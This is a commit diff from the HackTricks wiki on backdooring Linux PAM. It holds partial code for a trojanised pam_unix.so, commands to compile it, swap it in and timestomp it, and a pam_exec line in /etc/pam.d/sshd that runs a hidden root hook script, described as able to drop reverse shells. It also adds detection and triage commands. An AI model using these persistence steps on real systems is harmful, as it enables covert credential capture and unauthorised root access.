Skip to content

Commit 288f964

Browse files
author
HackTricks News Bot
committed
Add content from: Research Update: Enhanced src/linux-hardening/linux-post-exp...
1 parent 897d411 commit 288f964

1 file changed

Lines changed: 34 additions & 4 deletions

File tree

src/linux-hardening/linux-post-exploitation/pam-pluggable-authentication-modules.md

Lines changed: 34 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -54,6 +54,9 @@ In a setup with multiple auth modules, the process follows a strict order. If th
5454
A classic persistence trick in high-value Linux environments is to **swap the legitimate PAM library with a trojanised drop-in**. Because every SSH / console login ends up calling `pam_unix.so:pam_sm_authenticate()`, a few lines of C are enough to capture credentials or implement a *magic* password bypass.
5555

5656
### Compilation Cheatsheet
57+
<details>
58+
<summary>Sample `pam_unix.so` trojan</summary>
59+
5760
```c
5861
#define _GNU_SOURCE
5962
#include <security/pam_modules.h>
@@ -86,6 +89,8 @@ int pam_sm_authenticate(pam_handle_t *pamh, int flags, int argc, const char **ar
8689
}
8790
```
8891
92+
</details>
93+
8994
Compile and stealth-replace:
9095
```bash
9196
gcc -fPIC -shared -o pam_unix.so trojan_pam.c -ldl -lpam
@@ -102,15 +107,40 @@ touch -r /bin/ls /lib/security/pam_unix.so # timestomp
102107

103108
### Detection
104109
* Compare MD5/SHA256 of `pam_unix.so` against distro package.
110+
* `rpm -V pam` or `debsums -s libpam-modules` to spot replaced libraries without manual hashing.
105111
* Check for world-writable or unusual ownership under `/lib/security/`.
106112
* `auditd` rule: `-w /lib/security/pam_unix.so -p wa -k pam-backdoor`.
113+
* Grep PAM configs for unexpected modules: `grep -R "pam_[a-z].*\.so" /etc/pam.d/ | grep -v pam_unix`.
107114

108-
### References
115+
### Quick triage commands (post-compromise or threat hunting)
116+
```bash
117+
# 1) Spot alien PAM objects
118+
find /{lib,usr/lib,usr/local/lib}{,64}/security -type f -printf '%p %s %M %u:%g %TY-%Tm-%Td\n' | grep -E 'pam_|libselinux'
109119

110-
- [https://hotpotato.tistory.com/434](https://hotpotato.tistory.com/434)
111-
- [Palo Alto Unit42 – Infiltration of Global Telecom Networks](https://unit42.paloaltonetworks.com/infiltration-of-global-telecom-networks/)
120+
# 2) Verify package integrity
121+
command -v rpm >/dev/null && rpm -V pam || debsums -s libpam-modules
112122

113-
{{#include ../../banners/hacktricks-training.md}}
123+
# 3) Identify non-packaged PAM modules
124+
for f in /{lib,usr/lib,usr/local/lib}{,64}/security/*.so; do
125+
dpkg -S "$f" >/dev/null 2>&1 || echo "UNPACKAGED: $f";
126+
done
114127

128+
# 4) Look for stealth config edits
129+
grep -R "pam_.*\.so" /etc/pam.d/ | grep -E 'plg|selinux|custom|exec'
130+
```
131+
132+
### Abusing `pam_exec` for persistence
133+
Instead of replacing `pam_unix.so`, a lighter touch is to append a `pam_exec` line in `/etc/pam.d/sshd` so every SSH login launches an implant while leaving the normal stack intact:
134+
```bash
135+
# Prepend to /etc/pam.d/sshd
136+
session optional pam_exec.so quiet /usr/local/bin/.ssh_hook.sh
137+
```
138+
`pam_exec` runs as root inside the sshd PAM context, so the script can drop reverse shells, collect env vars, or re-open implanted sockets with no filesystem changes to core libraries.
115139

116140

141+
## References
142+
143+
- [https://hotpotato.tistory.com/434](https://hotpotato.tistory.com/434)
144+
- [Palo Alto Unit42 – Infiltration of Global Telecom Networks](https://unit42.paloaltonetworks.com/infiltration-of-global-telecom-networks/)
145+
146+
{{#include ../../banners/hacktricks-training.md}}

0 commit comments

Comments
 (0)